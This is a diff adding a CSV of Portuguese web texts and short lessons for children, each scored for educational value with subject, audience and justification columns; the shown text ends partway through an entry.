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@@ -0,0 +1,8523 @@
+text_sample,area,topico,publico,justificativa,pontos,score
+Ordenação padrão Ordenar por popularidade Ordenar por média de classificação Ordenar por mais recentes Ordenar por preço: menor para maior Ordenar por preço: maior para menor,original,original,original,original,0,0.0
+"Sites disponibilizam documentos históricos e ferramentas que podem ser usadas em sala de aula. Basta saber trabalhá-los
+Documentos históricos digitalizados circulam e multiplicam-se cada vez mais na internet. Até nas redes sociais, como o Facebook, é possível encontrar desde imagens da Constituição norte-americana até depoimentos de torturadores da época da ditadura brasileira.
+Os grandes arquivos europeus e americanos lideram a disponibilização de imagens de documentos online. No site do Arquivo Nacional inglês encontra-se, de cara, um link no qual está escrito Education. Ele leva a opções de pesquisa por período – da alta Idade Média à contemporaneidade – ou por gênero, dando acesso a conteúdos em áudio e vídeo, além de jogos e oficinas que podem ser agendadas no Arquivo, e com as quais também se pode interagir online. Para os professores há muitos planos de aula disponíveis para download, pré-formatados por série, tema e indicação de relações com os parâmetros curriculares ingleses.
+Os Teachers' Resources (Recursos para Professores) também têm lugar de destaque no site do Arquivo Nacional dos Estados Unidos. Ali estão disponíveis documentos interessantíssimos, como o da patente da lâmpada elétrica de Thomas Edison e um mapa de Londres no século XVII, após o famoso incêndio que destruiu parte da cidade. Somos seduzidos pelas imagens de documentos antes inacessíveis e um universo de possibilidades de ensino parece se abrir por meio das novas tecnologias de informação e comunicação.
+Mas esse tipo de arquivo pode ser uma floresta impenetrável para os não iniciados. Não basta dizer aos estudantes: ""vão ao arquivo pesquisar"". Quase ninguém tem uma imagem clara de como fazê-lo: o que procurar, o que esperar encontrar, como chegar a bons resultados nessa empreitada. Ou do tempo que pode levar uma pesquisa documental. Estamos habituados a encontrar narrativas já produzidas, documentos selecionados, legendas prontas e descrições preparadas por um pesquisador.
+Não é incomum, nos arquivos, a visita de alunos instruídos a pesquisar, por exemplo, ""a década de 60"". Essa ideia, que talvez fosse viável em uma pesquisa bibliográfica escolar, torna-se um recorte gigantesco em um arquivo, que pode ter milhares de documentos sobre o período. É fundamental que o professor selecione um recorte menor e, se possível, que especifique um conjunto de documentos passível de ser investigado pelos alunos, levando em conta seus conhecimentos prévios e o tempo que terão para a pesquisa. Um exemplo simples de recorte poderia ser de documentos relativos à censura da produção musical brasileira na primeira década do regime militar.
+Ao navegarmos pelas séries documentais nos sites dos arquivos, nem sempre lembramos que aquelas já são seleções de documentos, e não todo o acervo. Ou seja, sempre há uma escolha e um recorte, a partir de conjuntos documentais ou de documentos avulsos, feitos pelo arquivo para expor online. E entre os documentos disponíveis, os mecanismos de busca internos fazem novos recortes a partir de palavras-chave: são os chamados ""metadados"", ligados a cada documento digitalizado. A seleção do conteúdo para publicação e seu tratamento arquivístico, com a inserção das palavras-chave, são decisivos para potencializar a experiência de ensino criada pela interação com o navegante-leitor.
+Certa vez, uma professora me relatou sua frustração com uma pesquisa online no site de um grande arquivo paulista. Assim que a instituição digitalizou e publicou seu acervo documental do século XIX, ela criou uma atividade didática com seus alunos de ensino médio, incluindo uma pesquisa online nesse acervo relativa à escravidão em São Paulo. No site do arquivo, no campo de busca, seus alunos digitaram ""escravidão"" e aguardaram. A consulta retornou apenas três documentos. Intrigada e decepcionada, ela se perguntou: ""Será que praticamente não há registros da escravidão nesse acervo?"".
+Dúvida semelhante deve estar na cabeça de muitos professores que se aventuram no...",original,original,original,original,5,1.0
+"Resumo da Chuva: Setembro 2009
+DIPLOMATA AFIRMA QUE O POVO HONDURENHO VAI RETOMAR O PODER
+Por Marcelo Salles (do ótimo Fazendo Media)Acabo de conversar, por telefone, com Gioconda Perla, Consul-Geral de Honduras no Rio de Janeiro. Refugiada no Canadá depois que o governo golpista cancelou seu salário e a verba de representação, ela disse ainda não ter uma situação clara que lhe garanta o retorno ao Brasil.Com a volta do presidente Manuel Zelaya a Honduras, Gioconda acredita que aumentam as chances de retomada do poder. “Esse povo vai conseguir, Marcelo. Sabíamos que teríamos apoio no país, mas a reação do povo superou todas as expectativas”, disse. A diplomata afirmou ainda que o povo já não acata as ordens do toque de recolher, a resistência está nas ruas.Gioconda confirmou os cortes de energia elétrica e água na embaixada do Brasil, que dá abrigo a Zelaya. Também confirmou a explosão de bombas de gás lacrimogêneo e a utilização de uma antena que produz um barulho ensurdecedor, nas imediações da embaixada, além da repressão armada contra o povo.A Cônsul-Geral encerrou a conversa agradecendo ao povo brasileiro e à imprensa democrática, que não distorce as informações: “o povo hondurenho está grandemende agradecido ao povo e ao governo brasileiro pela proteção”.Em discurso que terminou há poucos minutos, o presidente Manuel Zelaya disse que os golpistas têm um plano para invadir, ainda nesta madrugada, a embaixada para sequestrá-lo e assassiná-lo, fazendo parecer suicídio.PS: Você pode ler esta notícia gratuitamente, mas sua produção tem um custo. Ajude a manter o Fazendo Media assinando o jornal impresso ou doando qualquer quantia: clique aqui..REPRESSÃO EM HONDURASPor Fazendo Media
+A leitura inspira a escrever e escrever inspira a tudo…
+Esta eu tirei do blogue Ler pra Crescer, da Cristiane Rogerio, editora de Educação e Cultura da Revista Crescer :.Uma das coisas maravilhosas de se ler é poder escrever. Parece óbvio ou pouco, mas escrever é o nosso canal mais incrível de comunicação. E as crianças já aprendem que as palavras estão aí para brincarmos com elas - e o ideal é que elas nunca desaprendam isso.Conforme vão crescendo, entendem também que nós temos regras para nos comunicar pela escrita. As ortográficas acabaram de mudar e uma coisa que pensei muito aqui era como isso ia se dar com as crianças em uma determinada fase escolar que tivesse uma curta vivência com as regras antigas. Ou seja, quase que mal aprenderam as regras, já viram tudo mudar.Mas a sobrinha de uma querida colega de CRESCER, a jornalista Renata Rangel, nos enviou um poema enviado por sua sobrinha e justamente sobre o tema. Renata ficou abismada com o fato de ela escrever tão bem. E, o melhor: escreveu sobre o escrever.Vejam que lindo. Mostrem aos seus filhos, e inspire-os a escrever todos os dias assim que eles se sentirem ‘dominantes’ da nossa tão linda língua portuguesa. Theodora, parabéns!!.NOVA REGRAMataram o acento,Assassinaram o hífen,Agora sentem-se no assento,que lá vem nova regra.A onomatopeia ficou muda,A assembleia, sem assunto,A centopeia perdeu as pernase a ideia saiu da minha cabeçaTadinha da velha senhora,Que agora não sabe de nadaE o senhor?!Que horror!As crianças estão confusas,Sem sabero que fazerpara a nova regra aprenderescrito por Theodora Rangel Carvalho, de 11 anos e que cursa 6º ano do Ensino Fundamental
+11 de Setemnbro - Nada Mudou
+Por Roy Frenkiel.Onde estávamos no dia 11 de Setembro?Todos os anos, a mesma pergunta. Onde você estava quando as Torres Gêmeas do World Trade Center caíram no dia 11 de Setembro de 2001?Para mim, passados oito anos, a pergunta verdadeira é: E o que importa onde cacetetes eu estava no dia 11, ou o que eu fazia, ou o que eu pensava, ou como percebi a mudança mundial à minha volta?Entendo que queiramos remontar da memória e reconstruir a passos ligeiros uma compreensão (interpretada através de nossas experiências, logo interpretada subjetivamente) do que nos lembramos dessa data. Mas oito anos passados ...",original,original,original,original,4,0.8
+"Olá, pequenos exploradores! Já pararam para pensar de onde vêm as coisas que usamos todos os dias? A água que bebemos, a comida que comemos, a roupa que vestimos, até mesmo o ar que respiramos... Tudo isso vem da natureza! Chamamos essas coisas que a natureza nos oferece de recursos naturais.
+
+Imagine que a natureza é como uma grande caixa de tesouros, cheia de coisas importantes para a nossa vida. O sol, por exemplo, é um recurso natural muito importante. Ele nos dá luz e calor, que são essenciais para as plantas crescerem e para aquecer nosso planeta. Sem o sol, a vida na Terra seria impossível!
+
+A água também é um recurso natural precioso. Usamos a água para beber, tomar banho, lavar a roupa, regar as plantas e muitas outras coisas. Os rios, lagos e oceanos são como grandes reservatórios de água que precisamos cuidar muito bem. Sabiam que algumas pessoas não têm água potável para beber? Por isso, não podemos desperdiçar nem uma gotinha!
+
+As árvores são outro exemplo importante de recurso natural. Elas nos dão madeira para construir casas e móveis, além de produzirem o oxigênio que respiramos. As árvores também abrigam muitos animais e ajudam a manter o solo firme, evitando que a chuva o leve embora. Por isso, é tão importante plantar árvores e cuidar das florestas.
+
+E os minerais, como o ferro e o alumínio? Eles vêm da terra e são usados para fazer carros, panelas, computadores e muitas outras coisas. A terra também nos dá o solo, onde plantamos nossos alimentos.
+
+Mas, atenção! A natureza não é uma fonte inesgotável de recursos. Se usarmos tudo sem cuidado, os recursos podem acabar. Imagine que você tem uma caixa de lápis de cor. Se você usar todos os lápis muito rápido e quebrá-los, logo não terá mais lápis para desenhar. Com a natureza é a mesma coisa: precisamos usar os recursos com responsabilidade para que eles não acabem e para que as futuras gerações também possam usufruir deles.
+
+Então, o que podemos fazer para cuidar dos recursos naturais? Podemos economizar água ao escovar os dentes e tomar banho. Podemos jogar o lixo no lugar certo e reciclar o que for possível. Podemos plantar árvores e cuidar das plantas. Podemos economizar energia elétrica, apagando as luzes quando saímos de um cômodo. E podemos conversar com nossos amigos e familiares sobre a importância de cuidar da natureza.
+
+Lembrem-se: a natureza é a nossa casa e precisamos cuidar dela com muito carinho. Se cada um fizer a sua parte, podemos garantir um futuro mais verde e saudável para todos. Agora, pensem um pouquinho: quais outros recursos naturais vocês conhecem? O que vocês podem fazer hoje para ajudar a cuidar deles?",Geografia,Recursos naturais,anos iniciais (1º ao 5º ano),"O trecho apresenta informações básicas sobre recursos naturais de forma didática e acessível para crianças, utilizando exemplos cotidianos e linguagem simples. Introduz conceitos importantes relacionados ao currículo escolar, como a origem dos recursos e a importância da sua conservação. Além disso, incentiva a reflexão e a ação individual para a preservação ambiental, tornando-o altamente relevante para fins educacionais nos anos iniciais do ensino fundamental.",5,1.0
+"A Fazenda Santa Maria tem em seu “Grande Sobrado” de 1889 a história viva, onde retrata momentos históricos... Leia mais
+Ecoturismo é o turismo em localidades com objetivo de explorar os locais com potencial ecológico na Fazenda Santa... Leia mais
+Roteiro de Estudos Excursões e Visitas Orientadas Roteiros: Histórico, Ambiental e Lazer. A Educação Patrimonial é um processo... Leia mais
+""Conheça a riqueza da história""
+Agende uma visita e conheça um dos patrimônios culturais mais belos do interior de São Paulo, tombado pelo CONDEPHAAT. Fazenda Santa Maria tem mais de 150 anos de história preservada através de gerações.
+A Fazenda Santa Maria do Monjolinho recebeu a visita de 97 alunos do Colégio São José da cidade de São José do Rio Preto pela agência Discovery Tours Leia mais...
+Minas Gerais também visita a Fazenda Santa Maria!
+No dia 02/05/18 a turma do curso técnico de Agronomia do Instituto Federal do Norte de Minas campus Arinos esteve na Fazenda!",original,original,original,original,2,0.4
+"Artigo obesidade infantil. Trabalhos de casa - Serviço
+Artigo obesidade infantil, Este artigo objetivou caracterizar a obesidade infantil causas e consequências da obesidade infantil, finalizando com a explanação a cerca.
+A obesidade infantil é um grande problema de saúde pública, que eleva os índices de morbidade e mortalidade entre as crianças. Infantil a obesidade exógena (atribuída a fatores ambientais, como alimentação, hábitos artigos-chave selecionados de citações em outros artigos. Sobrepeso e obesidade infantil apresentam prevalência elevada e caráter multifatorial com o objetivo de determinar a influência de fatores biológicos e. Obesidade infantil: uns quilos a mais hoje, uns anos a menos no futuro este artigo objetivou caracterizar a obesidade infantil, que vem ganhando atenção. Obesidade infantil [todos os índices] simões, daniela and meneses, rute f auto-conceito em crianças com e sem obesidade psicol reflex.
+Apesar de ser fácil de calcular e interpretar, os parâmetros oferecidos pelo imc não costumam ser utilizados isoladamente para determinar a presença de obesidade. A prevalência mundial da obesidade infantil vem apresentando um rápido aumento nas últimas décadas, sendo caracterizada como uma verdadeira epidemia mundial. O presente artigo tem como objetivo descrever a obesidade infantil obesidade infantil, como fatores familiares, influência do marketing e descontrole.
+Obesidade infantil, actividade física e sedentarismo em crianças do 1ºciclo do ensino básico da cidade de bragança (6 a 9 anos. Artigos, teses e dissertações recentes sobre obesidade infantil para seu tcc, tese ou monografia texto completo. Artigo de revisão etiologia da obesidade walmir coutinho introdução a prevalência da obesidade tem crescido rapidamente e representa um dos principais. Risco para a obesidade infantil segundo alguns artigos estudados um estudo transversal, em.
+Diagnóstico da obesidade infantil associação brasileira para o estudo da obesidade e da síndrome metabólica - abeso dra maria edna de melo. Obesidade infantil não e o educador físico marcio atalla mostram como a atividade física melhora a qualidade de vida dos pequenos e é fundamental na luta contra. O tema obesidade infantil foi escolhido a partir da observação, do crescente aumento da obesidade na infância, fato esse, muito preocupante porque acarreta em. Diagnóstico da obesidade infantil associação brasileira para o estudo da obesidade e da síndrome metabólica - abeso dra maria edna de melo cremesp 106455. Artigo sobre obesidade infantil as crianças podem tornar-se obesas por variadas razões as mais comuns são factores genéticos, falta de actividade física.
+Volume 16, número 2 issn 2447-2131 joão pessoa, 2016 artigo obesidade infantil: influência dos pais sobre a alimentação e estilo de vida dos filhos. Leia este outras artigos científicos e mais 662000 outros documentos de pesquisas obesidade infantil obesidade infantil pesando na vida das nossas crianças a. Artigo: obesidade infantil e uma proposta de educação física preventiva 1 introdução o objeto de estudo e o papel da educação física vêem. A obesidade infantil é um problema atual com várias implicações na vida da este artigo tem como objetivo geral analisar as causas da obesidade infantil. Como você define a obesidade de acordo com a organização mundial da saúde próximo artigo obesidade infantil artigos relacionados mais do autor.
+Infantil a obesidade exógena este artigo objetiva revisar a literatura acerca da epidemiologia, etiogênese e prevenção da obesidade infantil, a.
+Sobrepeso e obesidade infantil apresentam prevalência elevada e caráter multifatorial artigo original sobrepeso e obesidade infantil: influência de.
+Artigo original prevalência de obesidade e fatores de risco cardiovascular em campos, rio de janeiro luiz j de souza carlos gicovate neto félix eb chalita.
+Capítulo iii - a obesidade infantil no brasil e no mundo capítulo iv - a obesidade infantil nas diferentes classes sociais 11 artigo i: preva...",original,original,original,original,3,0.6
+"Distância Corona → Funchal - Linha aérea, rota de condução, ponto intermédio
+Distância Corona → Funchal
+Distância: 8.913,00 km Rota de condução: --
+Distância de Corona a Funchal
+Linha aérea: 8.913,00 km
+Corona, Riverside County, California, United States of America Corona, Riverside County, California, United States of America Latitude: 33.875294 33° 52' 31.058'' NLongitude: -117.566437 -117° 33' 59.173'' EHora local: 22:21 (12.12.2019) : (America/Los_Angeles)
+Rota do voo: 8.919,61 km (10h 59min)
+A distância de voo entre os aeroportos mais próximos Corona (CNO) e Funchal (FNC) é 8.919,61 km. Isto corresponde a um tempo de voo aproximado de 10h 59min. Rotas de voo semelhantes: CNO → FNC , CNO → PXO , CNO → FNC , CNO → FNC , CNO → PXO
+O rumo inicial do percurso de Corona a Funchal é 57,13°, e a direção do compasso é ENE.
+Ponto intermédio: 45.77331,-66.7515
+O ponto intermédio geográfico entre Corona e Funchal é em 4.456,50 km a distância entre ambos os pontos num rumo de 57,13°. Está localizado em Canada, York County.
+Distância: 8.913,00 km
+A distância mais curta (linha aérea) entre Corona e Funchal é 8.913,00 km.
+A distância mais curta entre Corona e Funchal é . Metade da viagem será alcançada em .
+A diferença horária entre Corona (America/Los_Angeles) e Funchal (Atlantic/Madeira) são 8 horas. Isto significa que agora são 22:21 (12.12.2019) em Corona e 06:21 (13.12.2019) em Funchal.
+Portugal Portugal Latitude: 32.644798 32° 38' 41.273'' NLongitude: -16.90967 -16° 54' 34.812'' EHora local: 06:21 (13.12.2019) : (Atlantic/Madeira)
+Para calcular a distância entre Corona e Funchal, os nomes dos locais são convertidos em coordenadas (latitude e longitude). O respetivo centro geográfico é utilizado para cidades, regiões e países. Para calcular a distância, é aplicada a fórmula de Haversine.
+Funchal fica à mesma distância de Corona do que de Corona a Tóquio (8.880 km), Londres (8.740 km), Harbin (9.069 km), São Petersburgo (9.179 km), Santiago do Chile (8.949 km), Changchun (9.285 km), Yokohama (8.900 km), Berlim (9.301 km), Madrid (9.336 km), Osaka (9.254 km).
+Corona para Lisboa, Corona para Porto, Corona para Amadora, Corona para Braga, Corona para Zaragoza, Corona para Setúbal, Corona para Coimbra, Corona para Funchal, Funchal para Lisboa, Funchal para Porto, Funchal para Amadora, Funchal para Braga, Funchal para Zaragoza, Funchal para Setúbal, Funchal para Coimbra,",original,original,original,original,2,0.4
+"Olá, pequenos exploradores do tempo! Já imaginaram poder viajar para o passado e conhecer como as coisas eram antes? Ou então, espiar o futuro e ver o que nos espera? Bem, nós não temos uma máquina do tempo de verdade, mas temos algo muito parecido: a linha do tempo! 
+
+A linha do tempo é como um mapa da história. Imagine uma régua bem comprida, onde cada pedacinho representa um momento diferente. Nela, podemos organizar os acontecimentos, desde os mais antigos até os mais recentes. Assim, fica fácil entender a ordem em que as coisas aconteceram e como uma coisa levou à outra. 
+
+Querem ver como funciona? Vamos pensar no nosso dia a dia. Primeiro, vocês acordam, depois tomam café da manhã, vão para a escola, almoçam, fazem a lição de casa e, finalmente, vão dormir. Se colocarmos essas atividades em uma linha, desde a hora que acordam até a hora de dormir, teremos uma pequena linha do tempo do seu dia! 
+
+A história do Brasil também pode ser contada em uma linha do tempo. Podemos marcar quando os portugueses chegaram, quando o Brasil ficou independente, quando a República foi proclamada e muitos outros momentos importantes. Assim, conseguimos ver como o nosso país foi se transformando ao longo dos anos. 
+
+Mas por que é importante conhecer a linha do tempo? Porque ela nos ajuda a entender o presente! Tudo o que vivemos hoje é resultado do que aconteceu antes. Se não soubéssemos o que aconteceu no passado, seria difícil entender por que as coisas são como são agora. 
+
+Por exemplo, vocês sabiam que antigamente as crianças não tinham acesso à escola como têm hoje? Conhecer essa informação nos faz valorizar ainda mais a oportunidade de estudar e aprender. A linha do tempo nos ajuda a dar valor ao presente e a construir um futuro ainda melhor. 
+
+Que tal criarmos a nossa própria linha do tempo? Podemos começar com a história da nossa família, marcando o nascimento dos nossos pais, avós e bisavós. Ou então, podemos criar uma linha do tempo da nossa cidade, pesquisando quando ela foi fundada e quais foram os acontecimentos mais importantes que aconteceram por aqui. 
+
+A linha do tempo é uma ferramenta muito poderosa para entendermos o mundo à nossa volta. Então, preparem seus lápis e borrachas, e vamos embarcar nessa aventura de explorar o tempo! Que momentos da sua vida você gostaria de colocar na sua linha do tempo? Pense nisso e comece a construir a sua história!",História,Linha do tempo,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional, especialmente para os anos iniciais do ensino fundamental. Ele introduz o conceito de linha do tempo de forma clara e envolvente, utilizando exemplos práticos e relacionáveis ao cotidiano dos alunos. A linguagem é acessível e o texto incentiva a reflexão e a criação de linhas do tempo pessoais e históricas, promovendo o aprendizado sobre a história e a valorização do presente. O texto é adequado ao nível de escolaridade e cumpre os critérios estabelecidos.",5,1.0
+"Em geral empresas, principalmente de tecnologia da informação, lidam com uma quantidade gigantesca de dados, sendo muito trabalhoso lidar com a informação de forma tradicional através de planilha de Excel, por exemplo.
+Desta forma o Power BI é uma solução de análise de negócios, que possibilita a geração de inúmeros relatórios de um modo intuito e prático. Com o Power BI sua empresa ganha agilidade e maior conexão com o banco de dados locais e nuvem de arquivos.
+Conheça mais sobre a Certificação de Power BI e como se preparar.
+O que é a certificação de Power BI
+Na profissão de Dados o Power BI está inserido na maioria das rotinas, de modo que é essencial que você domine todas as suas funcionalidades. Mais do que saber usar, é preciso provar que tem o conhecimento e habilidades na utilização da plataforma.
+E é aqui que entre a Certificação de Power BI.
+Certificados melhoram as suas chances de conseguir um emprego no setor de tecnologia da informação, pois demonstram que você domina as habilidades para usar um determinado programa, como o Microsoft Power BI.
+A certificação é feita através de exames como o DA-100, onde os conhecimentos e habilidades na plataforma são testados através de questões múltipla escolha.
+Veja como se preparar para o exame que garante a sua certificação.
+Como se preparar para a Certificação Power BI
+Para obter um bom resultado no exame da certificação Power BI é necessário muito estudo e dedicação, de modo que você tenha amplo conhecimento e uma base sólida sobre a plataforma.
+O ideal é investir em um curso preparatório, como os Cursos práticos da Pulsefy, que trazem uma programação de estudo bem organizada e definida.
+Por meio de um curso preparatório o seu processo de aprendizagem fica mais facilitado, pois, o curso fornece todas as competências que são exigidas no exame de certificação do Power BI.
+Totalmente online, nosso curso preparatório traz uma abordagem prática por meio de vídeos, quizzes e uma série de materiais complementares para enriquecer a sua experiência.
+Com a conclusão do curso você ganha um voucher que pode ser compartilhado em redes sociais, como o LinkedIn, criando um destaque para o seu perfil profissional.
+Dicas para o dia do exame
+No dia do exame é importante estar tranquilo e calmo, especialmente para poder responder todas as perguntas com atenção e evitar erros.
+É preciso muita atenção para se lembrar do que foi aprendido e não cair em pegadinhas.
+É necessário estar preparado não somente no conhecimento, mas também de forma psicológica. Portanto, procure sair com antecedência, de modo que você chegue ao local da prova com antecedência mínima de 30 minutos.
+Alimentar-se bem e ter uma boa noite de sono é fundamental, procure levar uma água e alimentos leves para o local da prova, sempre respeitando o edital do exame.
+Saiba administrar o seu tempo, não perca o seu tempo caso tenha dúvida em alguma questão, pule para a próxima e volte para esta ao fim da prova.",original,original,original,original,2,0.4
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+"Catamarã fala da relação entre um rapaz, o peixe-bolha, que está muito zangado com as palavras, e uma rapariga, a Catamarã, que sonha um dia viajar de barco até ao Pacífico. Fala também de erros ortográficos, de significado e significante, de letras e palavras fora do lugar, e de como esta desarrumação pode mudar o sentido de tudo…
+Mas esta não é uma peça sobre dislexia, ou sobre escolaridade, é sobretudo uma história sobre crescimento, sobre a nossa relação com o tempo e com os outros, sobre a distância que não se mede com números, e sobre palavras… mesmo aquelas difíceis de explicar.",original,original,original,original,2,0.4
+"Hoje o Cultivando a Leitura finalmente estréia o segundo ramo de entrevistas do blog. Era para ter saído há mais de um mês, mas devido a problemas técnicos atrasou muito. Mesmo assim está perfeito. A primeira entrevistada para a seção blogueiros é a Cibele Ramos do ""Eu Leio, Eu Conto"", blog literário que está no ar há mais de 2 anos. Vamos a entrevista:
+01- De onde surgiu a ideia de criar um blog literário?
+C: Há uns dois anos eu estava numa fase em que lia muitos livros bons, mas quase não encontrava nada sobre eles. Eu sempre tive blog, então a ideia de usar esse canal pra divulgar esses livros surgiu naturalmente.
+C: Na hora de criar o blog, eu pensei em diversos nomes (que sinceramente hoje já nem lembro), mas todos já estavam sendo utilizados. No fim das contas pensei em “Eu leio, eu conto”, estava disponível então resolvi usar.
+C: A maior dificuldade do começo é que eu tinha uma ideia de fazer um blog só de resenha e com o tempo eu percebi que isso seria impossível, dada a minha velocidade de leitura. Então comecei a abordar outros assuntos e criar seções pra não deixar o blog às moscas entre uma resenha e outra.
+04- Em sua opinião, o que não pode faltar em uma resenha?
+C: A opinião sincera de quem resenha. Uma coisa muito chata é querer saber a opinião da pessoa, mas o post não passar de um resumo do livro.
+C: Eu gosto muito das colunas exclusivas como “A última moda” e “Nem preciso ler”. Geralmente quando o primeiro post da seção vai ao ar eu já tenho vários outros escritos, mas nunca posto. Tenho que tentar melhorar isso (risos)
+C: Não consigo lembrar de nada específico no momento.
+C: Eu acho sensacional esse estouro de blogs literários! Tenho certeza que isso tem influenciado a leitura de forma positiva. Antes disso era muito solitário ler um livro, era difícil encontrar alguém que tivesse lido as mesmas coisas e com quem pudesse conversar. Hoje existem vários sites onde você pode comentar os livros que já leu e conhecer novos.
+C: Isso é coisa de fase. Tem época que eu olho pra estante e surto com a quantidade de livros não lidos, e começo a ler o mais rápido possível pra pilha diminuir. Em outros momentos eu quero ler devagar e aproveitar. Depende mesmo.
+C: Sem correr eu leio 1 por semana.
+C: Já pensei e confesso que até já comecei, mas nunca consigo seguir em frente. E se eu escrevesse seria só como um hobby mesmo, uma coisa pra ficar só na gaveta. Não tenho intenção de ser escritora nem nada. Pode ser que isso mude um dia, mas por ora não tenho planos de me tornar escritora.
+C: Eu já fiz uma lista dos livros que quero ler antes do ano terminar, mas um que eu devia ter terminado em julho e ainda está aqui é “Harry Potter e as relíquias da morte”. Se tudo der certo, eu acabo a série ainda esse ano.
+C: E se fosse verdade... de Marc Levy.
+C: Um conselho que eu sempre dou é: seja sincero! No começo eu tinha muita dificuldade em falar dos livros que eu não gostava e às vezes acabava dando uma opinião pela metade pra não ter que falar o que realmente achava. Então, se você está começando agora, não faça isso (risos).
+C: “Since... forever” Last Sacrifice – Richelle Mead (A frase fica melhor no contexto, mas estava pensando nela agora então... não deu pra evitar!)
+Gostaria de agradecer a Cibele por ter aceito o convite e separar um tempinho para responder as perguntas. Quem ainda não conhece o ""Eu Leio, Eu Conto"" corre lá que vale muito a pena. São várias colunas além de resenhas e promoções. Vou ficando por aqui e mais tarde tem desafio e resenha, ah e na próxima semana já tem entrevista nova tanto de blogueira como de leitor! Até mais!
+Muito criativa essa ideia, adorei a entrevista, parabéns!!!
+Nossa amei suas perguntas e as respostas da Cibele foram ótimas =) tbém tenho essa coluna no meu blog e quero até te entrevistar, me manda seu email =)
+Acho que o blog da Cibele foi um dos primeiros que comecei a acompanhar. Acho muito boas as resenhas já que tem bastante opinião! ADORO o livro que ela está lendo agora e também so...",original,original,original,original,1,0.2
+"Governo prepara acordo com indústria para cortar no açúcar e na gordura – Observador "",s='
+Governo prepara acordo com indústria para cortar no açúcar e na gordura
+▲Em 2017, o consumo das bebidas mais açucaradas diminuiu para metade
+Esse seria, aliás, o destino da taxa do sal, chumbada na Assembleia da República, e que resultaria em 30 milhões de euros anuais para a área da promoção da saúde. A propósito deste chumbo, Fernando Araújo disse que esse chumbo lhe mereceu “alguma preocupação”. “O objetivo não era angariar verbas, mas pressionar [a indústria] para reformular os produtos” e produzi-los com menos sal, explicou.
+Vamos com eles [indústria] discutir objetivos concretos para determinado conjunto de gamas de produtos, ao longo de vários anos. A nossa proposta é de três anos com metas anuais de redução de sal e de açúcar nos produtos que consideramos mais importantes para ver se conseguimos por esta via melhorar a qualidade da alimentação dos portugueses”, afirmou Fernando Araújo.
+Na mira do governo estão três áreas: o açúcar, o sal e as gorduras, nomeadamente as ‘trans’ (gorduras artificiais criadas pela indústria de alimentos). “Vamos colocar objetivos de redução anuais, de modo a que estejam alinhados com as boas práticas europeias”, disse.",original,original,original,original,2,0.4
+Página inicial > Financiamento Municipal > Merenda Escolar > Perguntas Frequentes > Merenda Escolar > Quais municípios são beneficiados com verbas do Pnae?,original,original,original,original,2,0.4
+"Fascínio de Mulher - Lingerie com strass - Universo Ma Chérie
+Fascínio de Mulher - Lingerie com strass
+Escrito por: Unknown as 20:20 24 comentários
+Um dos recebidos do mês de Janeiro, foi um conjunto em lingerie, lindo de viver!
+Recebi um e-mail da Fascínio de Mulher delivery, uma loja virtual de lingeries com entrega rápida e um ótimo atendimento, achei bem interessante a proposta deles e resolvi conhecer de perto o produto para contar para vocês.
+Dentre os produtos disponíveis no site, escolhi um conjunto em renda branco, o charme extra é um pingente em strass, o sutiã é lindo com um drapeado que deixa a peça muito requintada, a renda é de ótima qualidade, o sutiã possui bojo e aro, o que é ótimo para deixar o seio bem arrumado e de quebra dá aquela levantada.
+O conjunto é composto por um caleçon da mesma renda do sutião, bem leve e confortável, se adapta ao corpo com conforto e leveza.
+Vou parar de falar e mostrar toda a beleza que tentei captar na foto, talvez não dê a real visão, mas dá para se ter noção do que eu falo.
+Como disse, o atendimento é nota dez, para comprar é necessário realizar um cadastro no site, tudo bem rápido e simples. Minha encomenda chegou em menos de uma semana, o que para mim é um ponto positivo para a empresa, precisei ligar para confirmar um dado do cadastro e o atendimento por telefone também é impecável.
+Sabe o que é mais legal? É que a Fascínio de Mulher vai presentear uma leitora do Universo Ma Chérie com um conjunto igual ao meu, bom demais né?!
+Fiquem ligadas, aqui e nas redes sociais que em breve colocarei as regras no ar!
+Quer conhecer a Fascínio de Mulher Delivery de perto? É só entrar no site e conferir tudo o que tem de mais lindo e sensual para nós mulheres estarmos sempre bem vestidas, mesmo por baixo do look do dia.
+E se você quiser ganhar uma renda extra, pode se tornar uma revendedora de lingerie, toda mulher precisa para ela e toda a família, já pensou que demais?!
+Fascínio de Mulher Delivery - http://www.fasciniodemulherdelivery.com.br/
+Telefone de contato - (19) 2512-3971
+Viciadas em Batom 15 de fevereiro de 2016 21:09
+Ai que liinda, achei um charme essa lingerie, com pingente e strass, arrasou na escolha ;) http://www.viciadasembatom.com.br/
+Dalliane Oliveira 24 de fevereiro de 2016 00:52
+Que bom que gostou! Linda né?!
+larisse oliveira 15 de fevereiro de 2016 22:20
+Gente que lingerie mais perfeita! Amei cada detalhe, e branco ainda *----*
+Beijos, indo conhecer a loja haha
+Dalliane Oliveira 24 de fevereiro de 2016 00:53
+Haha! Certamente você gostou dos itens que tem por lá.
+Fernanda Caterina Estilo Modas e Manias 18 de fevereiro de 2016 02:19
+Que peças mais lindas amei Dalli uma delicadeza devem ser de total qualidade..amei
+Lindo né amiga! Super qualidade!
+Joana Alves 18 de fevereiro de 2016 16:59
+Eu já conheço a loja 😊 e é muito boa. Produtos de ótima qualidade e lindos. Amei a loja 😉
+Dalliane Oliveira 24 de fevereiro de 2016 00:54
+Que legal! Ótimos preços mesmo!
+Lucimar da Silva Moreira 18 de fevereiro de 2016 17:01
+Dalliane lindo o conjunto, a peça é maravilhosa, já me imagino eu usando esse conjunto lindo, Dalliane e o melhor que a pessoas ainda pode ganhar um extra tornando uma revendedora muito bom isso, Dalliane beijos.
+Dalliane Oliveira 24 de fevereiro de 2016 00:55
+Então Lucimar, para quem quer uma renda extra é super válido. E toda mulher usa e precisa de lingeries não é mesmo?!
+Célia Lima 18 de fevereiro de 2016 17:52
+Nossa amiga eu amei suas comprinhas,essa lingerie é maravilhosa.Tbm gostei dá cor,adoro lingerie branca.
+Super aquisição né?!
+Bruna Karlla Universo Feminino 18 de fevereiro de 2016 18:54
+Uauuuu perfeita! ! Linda seu recebido, quero conhecer mas peças da empresa bjs.
+Dalliane Oliveira 24 de fevereiro de 2016 00:56
+Não vejo a hora de receber mais produtos para mostrar aqui.
+Diana Rocha 18 de fevereiro de 2016 21:15
+Relmente a Lingerie é muito linda! Amei, vou visitar o site
+Saga Literaria 19 de fevereiro de 2016 08:19
+a lingerie parece ser de qualidade, b...",original,original,original,original,0,0.0
+"Mestre Didi será homenageado hoje na Assembleia Legislativa da Bahia | Classe Politica
+Mestre Didi será homenageado hoje na Assembleia Legislativa da Bahia
